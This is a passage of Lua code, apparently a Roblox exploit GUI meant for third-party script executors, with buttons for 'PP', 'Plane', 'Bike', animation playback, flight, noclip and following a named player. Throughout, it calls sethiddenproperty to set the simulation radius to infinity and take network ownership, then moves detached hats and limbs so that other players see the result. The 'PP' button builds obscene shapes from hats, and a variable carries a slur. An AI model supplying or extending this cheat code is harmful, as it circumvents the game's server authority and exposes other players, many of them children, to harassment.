								table.insert(Poses,Args)
							end
						end
					end
					local Track = {}
					--/* Class Functions/Events
					Track['Finished'] = Instance.new('BindableEvent')
					local Run = function()
						for K,V in next, Poses do
							coroutine.wrap(function()
								Yield(V[6])
								Edit(table.unpack(V))
							end)()
						end
						coroutine.wrap(function() Yield(Poses[#Poses][6]) Track.Finished:Fire() end)()
					end
					Track['Play'] = function()
						Run();
						if Sequence['Loop'] ~= false then 
							repeat Track.Finished.Event:Wait(); Run()
							until Stopped or Humanoid['Health'] < 1
						end
					end
					return Track
				end
 
 
				local Anim = PreloadAnimation(0)
 
				Anim:Play()
				Anim.Finished.Event:Wait()
				wait(0.5)
				repeat
				    game:GetService('RunService').Stepped:Wait()
				    for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
				        if v:IsA("Part") then
				            v.CanCollide = false 
				        end
				    end
		until game.Players.LocalPlayer.Character.Humanoid.Health <= 0
		end)
end
coroutine.wrap(ZPXIAAZ_fake_script)()
local function JLLWLZP_fake_script() -- FollowPlayer.LocalScript 
	local script = Instance.new('LocalScript', FollowPlayer)
 
		local toggle = false
	script.Parent.MouseButton1Down:Connect(function()
			script.Parent.Parent.Parent.Parent.Parent.Frame3.Visible = true
	end)
 
 
end
coroutine.wrap(JLLWLZP_fake_script)()
local function UUFOHEA_fake_script() -- TextButton.LocalScript 
	local script = Instance.new('LocalScript', TextButton)
 
	local back = script.Parent.Parent.Frame
	local gay = back.ScrollingFrame
 
	local window = {
			count = 0;
			toggles = {},
			closed = false;
		}
		script.Parent.MouseButton1Click:connect(function()
			window.closed = not window.closed
			script.Parent.Text = (window.closed and "+" or "-")
			if script.Parent.Text == "+" then
				back:TweenSize(UDim2.new(0, 461,0, 0), "Out", "Sine", 1)
				wait() do
				gay.Visible = false
				end
			else
				back:TweenSize(UDim2.new(0, 461,0, 348), "Out", "Sine", 1)
				wait(1) do
				gay.Visible = true
				end
				end
 
		end)
 
end
coroutine.wrap(UUFOHEA_fake_script)()
local function JBTT_fake_script() -- Frame2.LocalScript 
	local script = Instance.new('LocalScript', Frame2)
 
	local dragger = {}; 
	local resizer = {};
 
	do
		local mouse = game:GetService("Players").LocalPlayer:GetMouse();
		local inputService = game:GetService('UserInputService');
		local heartbeat = game:GetService("RunService").Heartbeat;
		-- // credits to Ririchi / Inori for this cute drag function :)
		function dragger.new(frame)
		    local s, event = pcall(function()
		    	return frame.MouseEnter
		    end)
 
		    if s then
		    	frame.Active = true;
 
		    	event:connect(function()
		    		local input = frame.InputBegan:connect(function(key)
		    			if key.UserInputType == Enum.UserInputType.MouseButton1 then
		    				local objectPosition = Vector2.new(mouse.X - frame.AbsolutePosition.X, mouse.Y - frame.AbsolutePosition.Y);
		    				while heartbeat:wait() and inputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do
		    					frame:TweenPosition(UDim2.new(0, mouse.X - objectPosition.X + (frame.Size.X.Offset * frame.AnchorPoint.X), 0, mouse.Y - objectPosition.Y + (frame.Size.Y.Offset * frame.AnchorPoint.Y)), 'Out', 'Quad', 0.1, true);
		    				end
		    			end
		    		end)
 
		    		local leave;
		    		leave = frame.MouseLeave:connect(function()
		    			input:disconnect();
		    			leave:disconnect();
		    		end)
		    	end)
		    end
		end
 
		function resizer.new(p, s)
			p:GetPropertyChangedSignal('AbsoluteSize'):connect(function()
				s.Size = UDim2.new(s.Size.X.Scale, s.Size.X.Offset, s.Size.Y.Scale, p.AbsoluteSize.Y);
			end)
		end
	end
	script.Parent.Active = true
	script.Parent.Draggable = true
end
coroutine.wrap(JBTT_fake_script)()
local function MSML_fake_script() -- TextButton_2.LocalScript 
	local script = Instance.new('LocalScript', TextButton_2)
 
	script.Parent.MouseButton1Down:Connect(function()
		script.Parent.Parent.Visible = false
	end)
end
coroutine.wrap(MSML_fake_script)()
local function NCUDEV_fake_script() -- PlayAnimation.LocalScript 
	local script = Instance.new('LocalScript', PlayAnimation)
 
	script.Parent.MouseButton1Down:Connect(function()
	game:GetService("RunService").Stepped:Connect(function()
				sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
			        sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
				end)
 
				local Players = game:GetService('Players'); local LP = Players['LocalPlayer']; Create = Instance.new
				local Char = game.Workspace.gay; local Torso, Root, Humanoid = Char['Torso'], Char['HumanoidRootPart'], Char:FindFirstChildOfClass('Humanoid')
				local TS, Heartbeat = game:GetService('TweenService'), game:GetService('RunService')['Heartbeat']
 
				settings().Physics['AllowSleep'] = false; sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge) sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
 
				local PoseToCF = function(Pose,Motor)
					return (Motor['Part0'].CFrame * Motor['C0'] * Pose['CFrame'] * Motor['C1']:Inverse()):ToObjectSpace(Motor['Part0'].CFrame)
				end
 
				local Joints = {
					['Torso'] = Root['RootJoint'];
					['Left Arm'] = Torso['Left Shoulder'];
					['Right Arm'] = Torso['Right Shoulder'];
					['Left Leg'] = Torso['Left Hip'];
					['Right Leg'] = Torso['Right Hip'];
				}
 
				coroutine.wrap(function()
					Char['HumanoidRootPart'].Anchored = true;
					wait(.6)
					Char['HumanoidRootPart'].Anchored = false;
					Humanoid['Died']:Wait()
					for K,V in next, Char:GetChildren() do 
						if not V:IsA('Humanoid') then 
							V:Destroy()
						end
					end
				end)()
 
 
				for K,V in next, Joints do 
					local AP, AO, A0, A1 = Create('AlignPosition',V['Part1']), Create('AlignOrientation',V['Part1']), Create('Attachment',V['Part1']), Create('Attachment',V['Part0'])
					AP['RigidityEnabled'] = true; AO['RigidityEnabled'] = true
					AP['Attachment0'] = A0; AP['Attachment1'] = A1;
					AO['Attachment0'] = A0; AO['Attachment1'] = A1;
					A0['Name'] = 'CFAttachment'; A0['CFrame'] = V['C1'] * V['C0']:Inverse(); V:Remove()
				end
 
				local Edit = function(Part,Value,Duration,Style,Direction)
					Style = Style or 'Enum.EasingStyle.Linear'; Direction = Direction or 'Enum.EasingDirection.In'
					local Attachment = Part:FindFirstChild('CFAttachment')
					if Attachment ~= nil then
						TS:Create(Attachment,TweenInfo.new(Duration,Enum['EasingStyle'][tostring(Style):split('.')[3]],Enum['EasingDirection'][tostring(Direction):split('.')[3]],0,false,0),{CFrame = Value}):Play()
					end
				end
 
				local PreloadAnimation = function(AssetId)
					local Sequence = game:GetObjects('rbxassetid://'..AssetId)[1]; assert(Sequence:IsA('KeyframeSequence'),'Instance is not a KeyframeSequence') 
					local Keyframes, Poses = Sequence:GetKeyframes(), {};
					local Yield = function(Seconds)
						for I = 1,Seconds*60 do 
							Heartbeat:Wait()
						end
					end
					for I = 1,#Keyframes do 
						local K0, K1 = Keyframes[I-1], Keyframes[I]
						local Duration = K0 ~= nil and K1['Time'] - K0['Time'] or 0;
						for K,V in next, K1:GetDescendants() do 
							if V:IsA('Pose') and V['Name'] ~= 'Head' and V['Name'] ~= 'HumanoidRootPart' then 
								local Args = {
									Char:FindFirstChild(V.Name);
									PoseToCF(V, Joints[V.Name]);
									Duration;
									V['EasingStyle'];
									V['EasingDirection'];
									K1['Time'];
								}
								table.insert(Poses,Args)
							end
						end
					end
					local Track = {}
					--/* Class Functions/Events
					Track['Finished'] = Instance.new('BindableEvent')
					local Run = function()
						for K,V in next, Poses do
							coroutine.wrap(function()
								Yield(V[6])
								Edit(table.unpack(V))
							end)()
						end
						coroutine.wrap(function() Yield(Poses[#Poses][6]) Track.Finished:Fire() end)()
					end
					Track['Play'] = function()
						Run();
						if Sequence['Loop'] ~= false then 
							repeat Track.Finished.Event:Wait(); Run()
							until Stopped or Humanoid['Health'] < 1
						end
					end
					return Track
				end
 
 
				local Anim = PreloadAnimation(script.Parent.Parent.TextBox.Text)
 
				Anim:Play()
				Anim.Finished.Event:Wait()
				wait(0.5)
				repeat
				    game:GetService('RunService').Stepped:Wait()
				    for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
				        if v:IsA("Part") then
				            v.CanCollide = false 
				        end
				    end
		until game.Players.LocalPlayer.Character.Humanoid.Health <= 0
		end)
end
coroutine.wrap(NCUDEV_fake_script)()
local function PCKJD_fake_script() -- Frame3.LocalScript 
	local script = Instance.new('LocalScript', Frame3)
 
	local dragger = {}; 
	local resizer = {};
 
	do
		local mouse = game:GetService("Players").LocalPlayer:GetMouse();
		local inputService = game:GetService('UserInputService');
		local heartbeat = game:GetService("RunService").Heartbeat;
		-- // credits to Ririchi / Inori for this cute drag function :)
		function dragger.new(frame)
		    local s, event = pcall(function()
		    	return frame.MouseEnter
		    end)
 
		    if s then
		    	frame.Active = true;
 
		    	event:connect(function()
		    		local input = frame.InputBegan:connect(function(key)
		    			if key.UserInputType == Enum.UserInputType.MouseButton1 then
		    				local objectPosition = Vector2.new(mouse.X - frame.AbsolutePosition.X, mouse.Y - frame.AbsolutePosition.Y);
		    				while heartbeat:wait() and inputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do
		    					frame:TweenPosition(UDim2.new(0, mouse.X - objectPosition.X + (frame.Size.X.Offset * frame.AnchorPoint.X), 0, mouse.Y - objectPosition.Y + (frame.Size.Y.Offset * frame.AnchorPoint.Y)), 'Out', 'Quad', 0.1, true);
		    				end
		    			end
		    		end)
 
		    		local leave;
		    		leave = frame.MouseLeave:connect(function()
		    			input:disconnect();
		    			leave:disconnect();
		    		end)
		    	end)
		    end
		end
 
		function resizer.new(p, s)
			p:GetPropertyChangedSignal('AbsoluteSize'):connect(function()
				s.Size = UDim2.new(s.Size.X.Scale, s.Size.X.Offset, s.Size.Y.Scale, p.AbsoluteSize.Y);
			end)
		end
	end
	script.Parent.Active = true
	script.Parent.Draggable = true
end
coroutine.wrap(PCKJD_fake_script)()
local function YHWX_fake_script() -- TextButton_3.LocalScript 
	local script = Instance.new('LocalScript', TextButton_3)
 
	script.Parent.MouseButton1Down:Connect(function()
		script.Parent.Parent.Visible = false
	end)
end
coroutine.wrap(YHWX_fake_script)()
local function EMFGJKS_fake_script() -- Follow.LocalScript 
	local script = Instance.new('LocalScript', Follow)
 
	script.Parent.MouseButton1Down:Connect(function()
		local oof = script.Parent.Parent.TextBox.Text
			if script.Parent.Text == "Follow" then
			script.Parent.Text = "Unfollow"
			repeat
				wait(math.random(1,5))
				local target = game.Players:FindFirstChild(oof).Character.HumanoidRootPart
		if target ~= nil then
					game.Workspace.gay.Humanoid:MoveTo(target.Position, target)
					end
					until script.Parent.Text == "Follow"
		elseif script.Parent.Text == "Unfollow" then
		script.Parent.Text = "Follow"
		end
			end)
 
 
 
end
coroutine.wrap(EMFGJKS_fake_script)()
end)
 
PP.Name = "PP"
PP.Parent = Scripts
PP.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
PP.BorderColor3 = Color3.fromRGB(27, 42, 53)
PP.BorderSizePixel = 0
PP.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
PP.Size = UDim2.new(0, 85, 0, 32)
PP.Font = Enum.Font.SourceSansItalic
PP.Text = "PP"
PP.TextColor3 = Color3.fromRGB(0, 0, 0)
PP.TextSize = 30.000
PP.TextWrapped = true
PP.MouseButton1Down:connect(function()
for i,v in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do
if v:IsA("Accessory") then
print(v)
end
end
 
--Just prints hats your wearing in console incase u wanted to change hats^
 
local unanchoredparts = {}
local movers = {}
 local tog = true
 local move = false
local Player = game:GetService("Players").LocalPlayer
local Character = Player.Character
local mov = {};
local mov2 = {};
 
local tip = "Mushroom" --press f9 and find the hat that looks like a heads name and put it here
local x = -0.011   --Edit Position for head n +left and -Right
local y = -0.587   --Edit Position for head up and down
local z = -3.234 --Edit Position for head x3
 
local Hats = {pp   = Character:WaitForChild("Pal Hair"),
             ball1   = Character:WaitForChild("InternationalFedora"),
             ball2   = Character:WaitForChild("MeshPartAccessory"),
}
 
--Dont touch below
 
for i,v in next, Hats do
v.Handle.AccessoryWeld:Remove()
for _,mesh in next, v:GetDescendants() do
if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
mesh:Remove()
end
end
end
local Network = coroutine.create(function()
while true do
game:GetService("RunService").Heartbeat:Wait()
settings().Physics.AllowSleep = false
sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
end
end)
coroutine.resume(Network)
 
function ftp(str)
    local pt = {};
    if str ~= 'me' and str ~= 'random' then
        for i, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():find(str:lower()) then
                table.insert(pt, v);
            end
        end
    elseif str == 'me' then
        table.insert(pt, plr);
	elseif str == 'random' then
		table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
    end
    return pt;
end
 
local function align(i,v)
local att0 = Instance.new("Attachment", i)
att0.Position = Vector3.new(0,0,0)
local att1 = Instance.new("Attachment", v)
att1.Position = Vector3.new(0,0,0)
local AP = Instance.new("AlignPosition", i)
AP.Attachment0 = att0
AP.Attachment1 = att1
AP.RigidityEnabled = false
AP.ReactionForceEnabled = false
AP.ApplyAtCenterOfMass = true
AP.MaxForce = 9999999
AP.MaxVelocity = math.huge
AP.Responsiveness = 65
local AO = Instance.new("AlignOrientation", i)
AO.Attachment0 = att0
AO.Attachment1 = att1
AO.ReactionTorqueEnabled = true
AO.PrimaryAxisOnly = false
AO.MaxTorque = 9999999
AO.MaxAngularVelocity = math.huge
AO.Responsiveness = 50
end
 
--Dont touch above
 
align(Hats.pp.Handle, Character["Torso"])
align(Hats.ball1.Handle, Character["Torso"])
align(Hats.ball2.Handle, Character["Torso"])
 
Hats.pp.Handle.Attachment.Rotation = Vector3.new(-11.21, 0, 0)
Hats.ball1.Handle.Attachment.Rotation = Vector3.new(-8.27, 0, 0)
Hats.ball2.Handle.Attachment.Rotation = Vector3.new(-8.27, 0, 0)
 
--Attachmment1 is the 1st hat u put in Hats at the top. it goes in order
 
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment1"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment2"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment3"
 
Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(-0, -0.898, -1.519)
Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(0.542, -1.34, -0.746)
Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(-0.582, -1.34, -0.746)
 
 
Character:WaitForChild(tip).Handle.AccessoryWeld:Remove()
local alignpos = Instance.new("AlignPosition", Character)
local alignorien = Instance.new("AlignOrientation", Character)
local att1 = Instance.new("Attachment", Character:WaitForChild(tip).Handle)
local att2 = Instance.new("Attachment", Character:WaitForChild("Torso"))
alignpos.Attachment0 = att1
alignpos.Attachment1 = att2
alignpos.RigidityEnabled = false
alignpos.ReactionForceEnabled = false
alignpos.ApplyAtCenterOfMass = true
alignpos.MaxForce = 99999999
alignpos.MaxVelocity = math.huge
alignpos.Responsiveness = 65
alignorien.Attachment0 = att1
alignorien.Attachment1 = att2
alignorien.ReactionTorqueEnabled = true
alignorien.PrimaryAxisOnly = false
alignorien.MaxTorque = 99999999
alignorien.MaxAngularVelocity = math.huge
alignorien.Responsiveness = 50
att2.Position = Vector3.new(x,y,z)
att2.Rotation = Vector3.new(-78.79, 0, 0)
end)
 
Plane.Name = "Plane"
Plane.Parent = Scripts
Plane.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Plane.BorderColor3 = Color3.fromRGB(27, 42, 53)
Plane.BorderSizePixel = 0
Plane.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Plane.Size = UDim2.new(0, 85, 0, 32)
Plane.Font = Enum.Font.SourceSansItalic
Plane.Text = "Plane"
Plane.TextColor3 = Color3.fromRGB(0, 0, 0)
Plane.TextSize = 30.000
Plane.TextWrapped = true
Plane.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character["Right Arm"]:Destroy()
game.Players.LocalPlayer.Character["Left Arm"]:Destroy()
game.Players.LocalPlayer.Character["Right Leg"]:Destroy()
game.Players.LocalPlayer.Character["Left Leg"]:Destroy()
 
local unanchoredparts = {}
local movers = {}
 local tog = true
 local move = false
local Player = game:GetService("Players").LocalPlayer
local Character = Player.Character
local mov = {};
local mov2 = {};
 
Character.Humanoid.HipHeight = 4
Character.Humanoid.WalkSpeed = 16
 
local pro = "HeliHat" --press f9 and find the hat that looks like a heads name and put it here
local x = 0   --Edit Position for head n +left and -Right
local y = 0   --Edit Position for head up and down
local z = 0 --Edit Position for head x3
 
local Hats = {base   = Character:WaitForChild("MeshPartAccessory"),
             wing1   = Character:WaitForChild("Da Vinci's Wings"),
             fire   = Character:WaitForChild("FireMohawk"),
             top = Character:WaitForChild("InvisibleEgg"),
}
 
--Dont touch below
 
for i,v in next, Hats do
v.Handle.AccessoryWeld:Remove()
for _,mesh in next, v:GetDescendants() do
if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
mesh:Remove()
end
end
end
 
function ftp(str)
    local pt = {};
    if str ~= 'me' and str ~= 'random' then
        for i, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():find(str:lower()) then
                table.insert(pt, v);
            end
        end
    elseif str == 'me' then
        table.insert(pt, plr);
	elseif str == 'random' then
		table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
    end
    return pt;
end
 
local function align(i,v)
local att0 = Instance.new("Attachment", i)
att0.Position = Vector3.new(0,0,0)
local att1 = Instance.new("Attachment", v)
att1.Position = Vector3.new(0,0,0)
local AP = Instance.new("AlignPosition", i)
AP.Attachment0 = att0
AP.Attachment1 = att1
AP.RigidityEnabled = false
AP.ReactionForceEnabled = false
AP.ApplyAtCenterOfMass = true
AP.MaxForce = 9999999
AP.MaxVelocity = math.huge
AP.Responsiveness = 100
local AO = Instance.new("AlignOrientation", i)
AO.Attachment0 = att0
AO.Attachment1 = att1
AO.ReactionTorqueEnabled = false
AO.PrimaryAxisOnly = false
AO.MaxTorque = 9999999
AO.MaxAngularVelocity = math.huge
AO.Responsiveness = 50
end
 
--Dont touch above
 
align(Hats.base.Handle, Character["Torso"])
align(Hats.wing1.Handle, Character["Torso"])
align(Hats.fire.Handle, Character["Torso"])
align(Hats.top.Handle, Character["Torso"])
Hats.base.Handle.Attachment.Rotation = Vector3.new(0,0,0) --Rotation for the hats
Hats.wing1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
Hats.fire.Handle.Attachment.Rotation = Vector3.new(-90,0,0)
Hats.top.Handle.Attachment.Rotation = Vector3.new(45,0,0)
 
--Attachmment1 is the 1st hat u put in Hats at the top. it goes in order
 
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment1"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment2"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment3"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment4"
 
Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(0,-0.3,0) --Position of the hats
Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(0,-0.3,0)
Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(0,-0.3,2.3)
Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(0,1.3,0)
 
Character:WaitForChild(pro).Handle.AccessoryWeld:Remove()
local alignpos = Instance.new("AlignPosition", Character)
local alignorien = Instance.new("AlignOrientation", Character)
local att1 = Instance.new("Attachment", Character:WaitForChild(pro).Handle)
local att2 = Instance.new("Attachment", Character:WaitForChild("Head"))
alignpos.Attachment0 = att1
alignpos.Attachment1 = att2
alignpos.RigidityEnabled = false
alignpos.ReactionForceEnabled = false
alignpos.ApplyAtCenterOfMass = true
alignpos.MaxForce = 99999999
alignpos.MaxVelocity = math.huge
alignpos.Responsiveness = 65
alignorien.Attachment0 = att1
alignorien.Attachment1 = att2
alignorien.ReactionTorqueEnabled = false
alignorien.PrimaryAxisOnly = false
alignorien.MaxTorque = 99999999
alignorien.MaxAngularVelocity = math.huge
alignorien.Responsiveness = 50
att2.Position = Vector3.new(x,-1.5,-3.2)
att2.Rotation = Vector3.new(-90,0,0)
 
repeat wait() 
	until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Head") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") 
local mouse = game.Players.LocalPlayer:GetMouse() 
repeat wait() until mouse
local plr = game.Players.LocalPlayer 
local torso = plr.Character.Head 
local flying = false
local deb = true 
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
local maxspeed = 1000 
local speed = 5000 
 
function Fly() 
local bg = Instance.new("BodyGyro", torso) 
bg.P = 9e4 
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
bg.cframe = torso.CFrame 
local bv = Instance.new("BodyVelocity", torso) 
bv.velocity = Vector3.new(0,0.1,0) 
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
repeat wait() 
plr.Character.Humanoid.PlatformStand = true 
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
speed = speed+.5+(speed/maxspeed) 
if speed > maxspeed then 
speed = maxspeed 
end 
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
speed = speed-2 
if speed < 0 then 
speed = 0 
end 
end 
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
else 
bv.velocity = Vector3.new(0,0.1,0) 
end 
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
until not flying 
ctrl = {f = 0, b = 0, l = 0, r = 0} 
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
speed = 0 
bg:Destroy() 
bv:Destroy() 
plr.Character.Humanoid.PlatformStand = false 
end 
mouse.KeyDown:connect(function(key) 
if key:lower() == "e" then 
if flying then flying = false 
else 
flying = true 
Fly() 
end 
elseif key:lower() == "w" then 
ctrl.f = 1 
elseif key:lower() == "s" then 
ctrl.b = -1 
elseif key:lower() == "a" then 
ctrl.l = -1 
elseif key:lower() == "d" then 
ctrl.r = 1 
end 
end) 
mouse.KeyUp:connect(function(key) 
if key:lower() == "w" then 
ctrl.f = 0 
elseif key:lower() == "s" then 
ctrl.b = 0 
elseif key:lower() == "a" then 
ctrl.l = 0 
elseif key:lower() == "d" then 
ctrl.r = 0 
end 
end)
Fly()
 
sphere = Character:WaitForChild("Head").Attachment
a = 0
 repeat
  sphere.Rotation = Vector3.new( -90, a, 0)
  wait(.01)
  a = a+30
 until pigs == 1
 end)
 
Bike.Name = "Bike"
Bike.Parent = Scripts
Bike.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Bike.BorderColor3 = Color3.fromRGB(27, 42, 53)
Bike.BorderSizePixel = 0
Bike.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Bike.Size = UDim2.new(0, 85, 0, 32)
Bike.Font = Enum.Font.SourceSansItalic
Bike.Text = "Bike"
Bike.TextColor3 = Color3.fromRGB(0, 0, 0)
Bike.TextSize = 30.000
Bike.TextWrapped = true
Bike.MouseButton1Down:connect(function()
 
local NetworkAccess = coroutine.create(function()
settings().Physics.AllowSleep = false
while true do game:GetService("RunService").RenderStepped:Wait()
game:GetService("Players").LocalPlayer.ReplicationFocus = workspace
game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)
sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge*math.huge) end end)
coroutine.resume(NetworkAccess)
 
plr = game.Players.LocalPlayer
char = plr.Character
torso = char.Torso
local lol = Instance.new("Part")
lol.Parent = char
lol.Name = "lol"
lol.CanCollide = true
lol.Transparency = 1
lol.Size = Vector3.new(2, 2.9, 2)
 
function Align(Part1,Part0,Position,Angle,name) 
local AlignPos = Instance.new("AlignPosition", Part1)
AlignPos.Parent.CanCollide = false
AlignPos.ApplyAtCenterOfMass = true
AlignPos.MaxForce = 67752
AlignPos.MaxVelocity = math.huge/9e110
AlignPos.ReactionForceEnabled = false
AlignPos.Responsiveness = 200
AlignPos.RigidityEnabled = false
local AlignOrient = Instance.new("AlignOrientation", Part1)
AlignOrient.MaxAngularVelocity = math.huge/9e110
AlignOrient.MaxTorque = 67752
AlignOrient.PrimaryAxisOnly = false
AlignOrient.ReactionTorqueEnabled = false
AlignOrient.Responsiveness = 200
AlignOrient.RigidityEnabled = false
local AttachmentA=Instance.new("Attachment",Part1)
local AttachmentB=Instance.new("Attachment",Part0)
AttachmentB.Orientation = Angle
AttachmentB.Position = Position
AttachmentB.Name = name
AlignPos.Attachment0 = AttachmentA
AlignPos.Attachment1 = AttachmentB
AlignOrient.Attachment0 = AttachmentA
AlignOrient.Attachment1 = AttachmentB
end 
 
bike = char["Bike"]
bhandle = bike.Handle
bhandle.AccessoryWeld:Destroy()
 
fire = char["FireMohawk"]
fhandle = fire.Handle
fhandle.AccessoryWeld:Destroy()
fhandle.Mesh:Destroy()
 
     h = Instance.new("Attachment",bhandle)
     h.Rotation = Vector3.new(0,0,0)
     h.Position = Vector3.new(0,0,0)
 
     lg = Instance.new("Attachment",torso)
     lg.Rotation = Vector3.new(0,90,0)
     lg.Position = Vector3.new(-0, -1.35, -1)
 
     gap = Instance.new("AlignPosition",bhandle)
     gap.Attachment0 = h
     gap.Attachment1 = lg
     gap.RigidityEnabled = true
 
     gao = Instance.new("AlignOrientation",bhandle)
     gao.Attachment0 = h
     gao.Attachment1 = lg
     gao.RigidityEnabled = true
 
     a = Instance.new("Attachment",fhandle)
     a.Rotation = Vector3.new(0,0,0)
     a.Position = Vector3.new(0,0,0)
 
     a1 = Instance.new("Attachment",torso)
     a1.Rotation = Vector3.new(90, 0, 0)
     a1.Position = Vector3.new(0, -1.94, -0.46)
 
     a2 = Instance.new("AlignPosition",fhandle)
     a2.Attachment0 = a
     a2.Attachment1 = a1
     a2.RigidityEnabled = true
 
     a3 = Instance.new("AlignOrientation",fhandle)
     a3.Attachment0 = a
     a3.Attachment1 = a1
     a3.RigidityEnabled = true
 
game.Players.LocalPlayer.Character.Torso["Right Shoulder"]:Destroy()
game.Players.LocalPlayer.Character.Torso["Left Shoulder"]:Destroy()
game.Players.LocalPlayer.Character.Torso["Right Hip"]:Destroy()
game.Players.LocalPlayer.Character.Torso["Left Hip"]:Destroy()
Align(game.Players.LocalPlayer.Character["Left Arm"],game.Players.LocalPlayer.Character.Torso,Vector3.new(-1.243, 0.195, -0.793),Vector3.new(74.51, 0, 8.28),"Left")
Align(game.Players.LocalPlayer.Character["Right Arm"],game.Players.LocalPlayer.Character.Torso,Vector3.new(1.243, 0.195, -0.793),Vector3.new(74.51, 0, -8.28),"Right")
Align(game.Players.LocalPlayer.Character["Right Leg"],game.Players.LocalPlayer.Character.Torso,Vector3.new(0.82, -1.532, -0.518),Vector3.new(9.89, 0, 0),"Right")
Align(game.Players.LocalPlayer.Character["Left Leg"],game.Players.LocalPlayer.Character.Torso,Vector3.new(-0.82, -1.532, -0.518),Vector3.new(9.89, 0, 0),"Left")
 
function WaitForChild(parent,child)
	while not parent:FindFirstChild(child) do print("roped waiting for " .. child) wait() end
	return parent[child]
end
 
local handle = game.Players.LocalPlayer:FindFirstChild("Torso")
 
local left=false
local right=false
local up=false
local down=false
local mouse
local Character
local key_down_connect
local key_up_connect
 
local thrustForce
local thrustMagnitude
local thrustDirection
local RotationForce
local TurnGyro
 
local torsoWeld
 
local acceleration = 10
local deceleration = 10
local turnAlpha = .35
local alphaDampening = .2
 
local Equipped = false
 
local LastPosition = nil
local ActualVelocity = Vector3.new(0,0,0)
 
local FakeHandle = nil
 
local WheelMesh = Instance.new('SpecialMesh')
WheelMesh.MeshId = "http://www.roblox.com/asset/?id=122202439"
WheelMesh.TextureId = "http://www.roblox.com/asset/?id=122185866"
WheelMesh.Scale = Vector3.new(2.5,2.5,2.5)
 
local LightWeld = nil
 
local FrontMotor = nil
local BackMotor = nil
 
local CurrentSpeed=0
local turnSpeed=0
local turnSpeedAim=5
function ThrustUpdater()
	while Equipped do
		local direction = Character:FindFirstChild("Torso").CFrame.lookVector
		direction = Vector3.new(direction.x,0,direction.z).unit
		thrustForce.velocity = direction*(CurrentSpeed)
 
		if FrontMotor then
			FrontMotor.DesiredAngle=(999999999)*	(-CurrentSpeed/math.abs(CurrentSpeed))
			FrontMotor.MaxVelocity = CurrentSpeed/250
			if BackMotor then 
				BackMotor.DesiredAngle = FrontMotor.DesiredAngle
				BackMotor.MaxVelocity = FrontMotor.MaxVelocity	
			end	
		end
 
		RotationForce.angularvelocity = Vector3.new(0, turnSpeed, 0)
